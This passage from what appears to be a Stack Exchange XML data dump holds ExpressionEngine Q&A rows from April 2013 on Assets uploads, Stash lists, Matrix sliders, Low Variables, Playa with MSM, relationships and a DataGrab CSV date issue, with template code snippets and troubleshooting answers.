3.0" />
  <row Id="9868" PostTypeId="1" CreationDate="2013-04-29T23:17:41.103" Score="0" ViewCount="178" Body="&lt;p&gt;I'm running Assets 2.0.5 on EE 2.5.5 with MSM and FocusLab Master Config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click &quot;Upload&quot;, select a file from my computer, and click &quot;OK&quot;, the Assets progress bar moves across the screen, but when it's complete the new file does not display in the file browser. The file is uploaded successfully, and is visible in the directory via FTP, it's just not visible in Assets. This happens both on the publish page and inside the Assets control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets has been working fine on this site until about a week ago when this problem started happening. But the only changes I made around that time were to install Low Events and the URL Tube plugin; add a new channel and remove an old one. None of that should have affected Assets as far as I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get a bunch of console warnings for each file that loads in the Assets browser:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQ6kZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated all the indexes but the problem persists. Please let me know what additional information you need to get to the bottom of this. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-04-30T18:05:44.453" LastActivityDate="2013-05-01T14:25:11.007" Title="Assets: Uploaded File Doesn't Display in File Browser" Tags="|assets|multi-site-manager|file-uploads|focus-lab-master-config|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9869" PostTypeId="1" CreationDate="2013-04-29T23:23:53.680" Score="1" ViewCount="73" Body="&lt;p&gt;I am a somewhat newbie with Expression engine but I cant seem to find a solution to this problem. I have a simple relationship between two channels and for some reason the correct channel # is the only think that is displayed. (Code below) Link to view the public page. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://staging.stitchmedia.ca/ee/index.php/bookcase/circus-of-mirrors&quot; rel=&quot;nofollow&quot;&gt;http://staging.stitchmedia.ca/ee/index.php/bookcase/circus-of-mirrors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to be happening in two spots&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;adventure&quot; url_title=&quot;{segment_2}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.... SOME HTML CODE HERE .....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_authors}&#xA;    &amp;lt;h2&amp;gt;{related_authors:author_name}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;{related_authors:author_bio}&amp;lt;/p&amp;gt;&#xA;{/related_authors}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.... SOME MORE HTML CODE HERE .....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_chapters}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;img src=&quot;{related_chapters:chapter_thumbnail}&quot; alt=&quot;{related_chapters:chapter_title} Thumbnail&quot; class=&quot;th-chapter-icon&quot;&amp;gt;&#xA;        &amp;lt;h4 class=&quot;th-chapter-title&quot;&amp;gt;{related_chapters:chapter_position}:{related_chapters:chapter_title}&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;span class=&quot;th-chapter-more&quot;&amp;gt;+&amp;lt;/span&amp;gt;&#xA;        &amp;lt;div class=&quot;th-chapter-content&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{related_chapters:chapter_image}&quot; alt=&quot;{related_chapters:chapter_title} Thumbnail&quot; class=&quot;th-chapter-icon&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;{related_chapters:chapter_description}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/related_chapters}&lt;/p&gt;&#xA;" OwnerUserId="1407" LastActivityDate="2013-11-06T18:59:34.093" Title="Relationship only displaying channel #" Tags="|channel|relationships|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9870" PostTypeId="2" ParentId="9865" CreationDate="2013-04-29T23:36:37.793" Score="0" Body="&lt;p&gt;I ended up finally figuring out how to access the custom cartThrob Package fields (I couldn't find any documentation in the cartThrob docs for this) and used the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;store_packages&quot; dynamic=&quot;no&quot;}&#xA;{if related_ride == &quot;{segment_3}&quot;}&#xA;    &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;{title}, {entry_id}: {packages_price} &amp;lt;/li&amp;gt;&#xA;            {packages}{if &quot;{sub:entry_id}&quot; == &quot;23&quot;}Bring your own Bike{if:elseif &quot;{sub:entry_id}&quot; == &quot;24&quot;}Rent our Bike{/if}{/packages}&#xA;            &amp;lt;li&amp;gt;&amp;lt;p class=&quot;read-more&quot;&amp;gt;&amp;lt;a href=&quot;{entry_id_path=checkout/cart}&quot; class=&quot;blue&quot;&amp;gt;Purchase Ride now &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now off to figure out how to add shipping only to packages that contain this product entry_id!&lt;/p&gt;&#xA;" OwnerUserId="525" LastActivityDate="2013-04-29T23:36:37.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9871" PostTypeId="1" AcceptedAnswerId="9872" CreationDate="2013-04-30T04:07:29.143" Score="0" ViewCount="109" Body="&lt;p&gt;Firstly let me say I'm probably making a really simple mistake, this is my first time using Stash so I'm trying to get my head around it. I've spent the last 45 minutes searching through Google and on here and can't find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is I'm setting a stash_list which has Matrix tags inside of it, but when I'm using get_list I am getting the correct amount of rows returned, but they are empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what my model view looks like:&#xA;    {!-- load stash view --}&#xA;    {stash:embed:layouts:standard}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- create standard page model --}&#xA;{exp:channel:entries channel=&quot;standard_page&quot; limit=&quot;1&quot;}&#xA;&#xA;    {!-- content (general) --}&#xA;    {exp:stash:set}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:introduction}{standard_introduction}{/stash:introduction}&#xA;        {stash:content}{standard_content}{/stash:content}&#xA;&#xA;        {!-- helpers --}&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;    {/exp:stash:set}&#xA;&#xA;    {!-- content (lists) --}&#xA;    {exp:stash:set_list name=&quot;content_sections&quot; parse_tags=&quot;yes&quot;}&#xA;        {mx_standard_sections}&#xA;            {stash:section_title}{heading}{/stash:section_title}&#xA;            {stash:section_content}{content}{/stash:section_content}&#xA;        {/mx_standard_sections}&#xA;    {/exp:stash:set_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is what my view looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{exp:stash:title}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h2&amp;gt;{exp:stash:introduction}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;    {exp:stash:content}&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- close content --&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list name=&quot;content_sections&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;h1&amp;gt;{exp:stash:section_title}&amp;lt;/h1&amp;gt;&#xA;            {exp:stash:section_content}&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My normal Stash fields work, however my get_list returns this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;h1&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;h1&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm not quite what's going on. Stash clearly knows there is two Matrix rows with data inside them, however it won't return the data at all. Thanks in advance for any help I get, and I apologise if it's a stupid mistake!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Ben&lt;/p&gt;&#xA;" OwnerUserId="379" LastActivityDate="2013-04-30T07:43:08.063" Title="Stash List &amp; Matrix Rows Returning Empty" Tags="|matrix|stash|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9872" PostTypeId="2" ParentId="9871" CreationDate="2013-04-30T07:43:08.063" Score="0" Body="&lt;p&gt;When retrieving your list you're already in the context of that list so just change your called variable tags to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list name=&quot;content_sections&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;h1&amp;gt;{section_title}&amp;lt;/h1&amp;gt;&#xA;            {section_content}&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You don't need the &lt;code&gt;exp:stash&lt;/code&gt; prefix.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-30T07:43:08.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9873" PostTypeId="2" ParentId="9862" CreationDate="2013-04-30T07:46:36.593" Score="0" Body="&lt;p&gt;It should be as simple as &lt;code&gt;{segment_2}&lt;/code&gt; with nothing else you need to do. Have you checked what is being output in the browser dev tools?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-30T07:46:36.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9874" PostTypeId="2" ParentId="9855" CreationDate="2013-04-30T07:56:46.737" Score="0" Body="&lt;p&gt;This definitely sounds like something that will involve some PHP along with some SQL queries to loop through the result set. The cleanest way would be to place it in an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;extension&lt;/a&gt; which gets called at the time of making a reservation. I'm not sure if you're using an ecommerce addon or not so can't provide a specific hook but each cart will no doubt have a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/&quot; rel=&quot;nofollow&quot;&gt;hook&lt;/a&gt; which you can use to latch on to at that point in the process to execute your extension and make the query. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-30T07:56:46.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9876" PostTypeId="1" AcceptedAnswerId="9886" CreationDate="2013-04-30T08:16:47.153" Score="1" ViewCount="87" Body="&lt;p&gt;I have been looking for a way to sell EE entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have come across Membrr, but I have seen quite a lot of negative feedback. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of any other modules that would allow this?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-05-02T01:22:36.043" Title="Module to sell entries?" Tags="|module|ecommerce|membrr|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9877" PostTypeId="1" AcceptedAnswerId="9879" CreationDate="2013-04-30T09:03:53.390" Score="0" ViewCount="198" Body="&lt;p&gt;When creating a slider on my home page i had set the slider up as a channel, this allowed me to edit the channel and create a limit on how many slides where published. I was using the method of content -&gt; publish -&gt; slider to create a new slider. I would like to create a slider using a matrix field. I have create a variable group that allows me to edit the homepage and one of those variables is a matrix field, this is what i would LIKE to use to function my slider. How do i call the slider into my code correctly via a matrix field. Really my question is how does EE know im calling my matrix data? &lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2013-04-30T10:01:22.423" Title="creating a slider using a matrix field" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9878" PostTypeId="1" CreationDate="2013-04-30T09:35:56.553" Score="1" ViewCount="222" Body="&lt;p&gt;If our client selects a structure managed page from the Wygwam link tool, the URL doesn't always parse, resulting in the occasional &lt;code&gt;{page_XX}&lt;/code&gt; instead of the full URL. However if I drag the page that is getting link to around in the Structure tree, and place it back to where it belong the URL is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect this might have something to do with the Transcribe+Structure combination, as there are still a few small bugs here and there with that collaboration, but I can't tell for sure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on EE 2.5.5, Structure 3.3.8 and Wygwam 2.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="870" LastEditorUserId="870" LastEditDate="2013-05-06T08:48:54.497" LastActivityDate="2013-05-28T19:42:57.073" Title="Not all Structure URL's are parsed from Wygwam" Tags="|wygwam|structure|pixelandtonic|transcribe|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9879" PostTypeId="2" ParentId="9877" CreationDate="2013-04-30T09:47:45.500" Score="0" Body="&lt;p&gt;When you are saying &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I created a variable group&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I suppose that you are using Low Variables. That's generally the approach I take. Using Low variables, you just have to display the variable in your template using a tag pair and then use the normal matrix tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sample code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low variable is called {lv_homeslider}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix columns are called {matrix_slide_img}, {matrix_slide_url}, {matrix_slide_text}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_homeslider&quot;}&#xA;    {matrix_slide_img}&#xA;    {matrix_slide_url}&#xA;    {matrix_slide_text}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: using low variables to the fullest&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jamiepittock.com/words/2012/apr/11/expressionengine-snippets-low-variables/&quot; rel=&quot;nofollow&quot;&gt;Replacing Snippets&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://themetaq.com/articles/my-top-five-ways-low-variables-extends-ees-flexibility&quot; rel=&quot;nofollow&quot;&gt;Enhance flexibility of EE for devs and users&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mediasurgery.co.uk/video-episodes/expressionengine/low-variables&quot; rel=&quot;nofollow&quot;&gt;Small video detailing some use cases&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-04-30T10:01:22.423" LastActivityDate="2013-04-30T10:01:22.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9880" PostTypeId="1" CreationDate="2013-04-30T10:11:45.923" Score="0" ViewCount="49" Body="&lt;p&gt;Everytime I click save on low variables page I end up on this url (below) but the homepage of my website is shown and the low variables are not saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://locantro.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=low_variables&amp;amp;method=save&quot; rel=&quot;nofollow&quot;&gt;http://locantro.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=low_variables&amp;amp;method=save&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="160" LastActivityDate="2013-05-30T12:32:03.473" Title="Everytime I save a low variable, it returns the home page" Tags="|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9882" PostTypeId="2" ParentId="9880" CreationDate="2013-04-30T10:39:18.037" Score="2" Body="&lt;p&gt;Looks like a &lt;code&gt;mod_security&lt;/code&gt; thing. Hard to trace and figure out exactly what triggers it. Check &lt;a href=&quot;https://getsatisfaction.com/low/topics/attempting_to_edits_to_variables_results_in_status_404_page_not_found#reply_10681587&quot; rel=&quot;nofollow&quot;&gt;this thread on GetSat&lt;/a&gt; and ask your host to disable or add an exception.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-04-30T10:39:18.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9883" PostTypeId="1" CreationDate="2013-04-30T10:48:54.857" Score="0" ViewCount="126" Body="&lt;p&gt;I am getting this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Double-instantiating a select on an element garnish-0.1.min.js:18&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it is now stopping me adding files to an entry as will not display any files within an entry assets window.&lt;/p&gt;&#xA;" OwnerUserId="861" LastEditorUserId="861" LastEditDate="2013-04-30T11:02:36.413" LastActivityDate="2013-04-30T11:02:36.413" Title="Double-instantiating a select on an element garnish-0.1.min.js" Tags="|assets|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9884" PostTypeId="1" AcceptedAnswerId="10633" CreationDate="2013-04-30T11:45:01.847" Score="0" ViewCount="122" Body="&lt;p&gt;I have the following channel setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Activity &lt;/li&gt;&#xA;&lt;li&gt;Location&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Activity has a field called &quot;activity_location&quot; which is a relationship to the Location channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the relationshop documentation here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should be able to do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;      {exp:channel:entries channel=&quot;activity&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;li&amp;gt;{title}&#xA;        {activity_location}&#xA;          {activity_location:title}&#xA;        {/activity_location}&amp;lt;/li&amp;gt;&#xA;      {/exp:channel:entries}&#xA; &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should as far as I can tell output the Activity title and the Activities location as well, however it's simply outputting the {activity_location} which the locations article id, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Theatre by the Lake 1 {activity_location:title} {/activity_location}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the expressionengine documentation incorrect or am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-05-22T12:45:33.080" Title="Outputting relationship data" Tags="|relationships|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9885" PostTypeId="1" AcceptedAnswerId="9888" CreationDate="2013-04-30T11:51:20.660" Score="1" ViewCount="133" Body="&lt;p&gt;I'm having an issue with stash holding onto some content when looping through records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a BrilliantRetail catalog listing page which loops through all the entries in a category. Within this tag, I'm using the related_products tag to pull out the related products and then store them in two different places within that loop so that I don't have to call and execute the related_products tag twice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, on products which don't have related entries it appears to be just repeating the stored content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; name=&quot;br_bulk&quot;}&#xA;                        {exp:brilliant_retail:product_related product_id=&quot;{product_id}&quot;}&#xA;                            {related_products}&#xA;                                {if &quot;{related_type_id}&quot;==&quot;2&quot;}&#xA;                                    &amp;lt;a href=&quot;{exp:brilliant_retail:path src='product/{related_url}'}&quot; title=&quot;click here to view {related_title}&quot;&amp;gt;{exp:snippet total=&quot;40&quot;}{related_title}{/exp:snippet}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;                                    &amp;lt;/li&amp;gt;&#xA;                                 {/if}&#xA;                            {/related_products}&#xA;                        {/exp:brilliant_retail:product_related}&#xA;                {/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then further down the page, I have two pieces of code which are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if &quot;{exp:stash:not_empty name='br_bulk'}&quot;}&#xA;                                   &amp;lt;div class=&quot;bulk&quot;&amp;gt;                               &#xA;                                    &amp;lt;strong&amp;gt;Bulk Order Options Available&amp;lt;/strong&amp;gt;&#xA;                                    &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                                   {exp:stash:br_bulk}&#xA;                                   &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;followed by a final &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:destroy name='br_bulk'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just before I close the {exp:brilliant_retail:catalog} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it looks like this 'destroy' function isn't working as expected (or I've misunderstood its function).&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-04-30T12:46:19.437" Title="Clearing Stash in Loops" Tags="|stash|cache|brilliantretail|dry|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9886" PostTypeId="2" ParentId="9876" CreationDate="2013-04-30T12:18:25.733" Score="2" Body="&lt;p&gt;As far as I know Membrr is the only way to do this - however, if you know PHP/CI, you could write a custom module to do this which ties in to any of the e-commerce platforms out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did something similar a while ago which used Brilliant Retail and simply allowed for entries to be created and then 'paid' for which had the action of putting them live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I did was to add the 'entry_id' being paid for into the cart data and then using the br_order_create_after hook pulled this out and updated the status to 'live'.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-04-30T12:18:25.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9887" PostTypeId="2" ParentId="9819" CreationDate="2013-04-30T12:38:55.837" Score="0" Body="&lt;p&gt;As it turns out, Channel Videos has https built in.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2013-04-30T12:38:55.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9888" PostTypeId="2" ParentId="9885" CreationDate="2013-04-30T12:46:19.437" Score="3" Body="&lt;p&gt;Given that the Stash set is inside a loop, the resulting output would repeat your code above multiple times. Thus you would have multiple instance of &lt;code&gt;{exp:stash:not_empty name='br_bulk'}&lt;/code&gt; and &lt;code&gt;{exp:stash:br_bulk}&lt;/code&gt; in your template. The first instance of each of these will be parsed by EE, but subsequent instances will be replaced with a marker that will later on be replaced with the cached value of the first instance. In other words, EE will cache the tag because it assumes the output will be identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this add the word &lt;code&gt;random&lt;/code&gt; to your tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:stash:not_empty name='br_bulk' random}&quot;}&#xA;...&#xA;{/if}&#xA;&#xA;{exp:stash:br_bulk random}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, use context to make them unique, perhaps using the &lt;code&gt;{entry_id}&lt;/code&gt; of the current iteration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; name=&quot;br_bulk&quot; context=&quot;{entry_id}&quot;}&#xA;   {exp:brilliant_retail:product_related product_id=&quot;{product_id}&quot;}&#xA;      {related_products}&#xA;      {if &quot;{related_type_id}&quot;==&quot;2&quot;}&#xA;      &amp;lt;a href=&quot;{exp:brilliant_retail:path src='product/{related_url}'}&quot; title=&quot;click here to view {related_title}&quot;&amp;gt;{exp:snippet total=&quot;40&quot;}{related_title}{/exp:snippet}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;      {/if}&#xA;      {/related_products}&#xA;   {/exp:brilliant_retail:product_related}&#xA;{/exp:stash:set}&#xA;&#xA;{if &quot;{exp:stash:not_empty name='br_bulk' context='{entry_id}'}&quot;}&#xA;   &amp;lt;div class=&quot;bulk&quot;&amp;gt;                               &#xA;      &amp;lt;strong&amp;gt;Bulk Order Options Available&amp;lt;/strong&amp;gt;&#xA;      &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;      {exp:stash:get name=&quot;br_bulk&quot; context=&quot;{entry_id}&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-04-30T12:46:19.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9889" PostTypeId="1" AcceptedAnswerId="9890" CreationDate="2013-04-30T13:21:54.570" Score="1" ViewCount="202" Body="&lt;p&gt;After upgrading to Playa 4.4.2 on ExpressionEngine 2.5.5 (Big client and quite reluctant to update to 2.6 until any issues are ironed out) we started getting &quot;No entries exist for this related channel&quot; messages on all fields that linked content from different sites through MSM.&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-07-15T21:07:38.490" Title="Playa 4.4.2 MSM - No entries exist for this related channel" Tags="|playa|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9890" PostTypeId="2" ParentId="9889" CreationDate="2013-04-30T13:21:54.570" Score="1" Body="&lt;p&gt;After looking through the source I found that changing lines &lt;code&gt;1762&lt;/code&gt; and &lt;code&gt;1805&lt;/code&gt; to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'site_id' =&amp;gt; (isset($this-&amp;gt;settings['sites']) ? $this-&amp;gt;settings['sites'] : null)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Solved this issue for now.&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-04-30T13:21:54.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9891" PostTypeId="1" CreationDate="2013-04-30T13:33:27.480" Score="1" ViewCount="58" Body="&lt;p&gt;I am having issues with importing a CSV into Expression Engine with the DataGrab plugin. Most of the rows are being imported but there is still a small amount that is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are only two columns I am trying to pull in from the CSV. These are the subject and the start date. The start date is in the correct format for the plugin according to the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;2013-05-01 15:05:00&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the plugin is seeing it as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;2013-01-05 15:05:00&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to why this is happening? The full row of the CSV file is below for reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Athletics Match - Years 8 &amp;amp; 10 - at Sohan VC - 3.05pm - 6.15pm&quot;,&quot;Publish on Website|Sporting Activity|Year 10|Year 8&quot;,&quot;2013-05-01 15:05:00&quot;,&quot;2013-05-01 18:15:00&quot;,&quot;0&quot;,&quot;Soham&quot;,&quot;2013-04-22 15:19:36&quot;,&quot;2013-04-29 12:30:15&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-04-30T14:16:16.793" LastActivityDate="2013-04-30T14:16:16.793" Title="DataGrab Plugin UK Date issue" Tags="|ee2|datagrab|" AnswerCount="0" 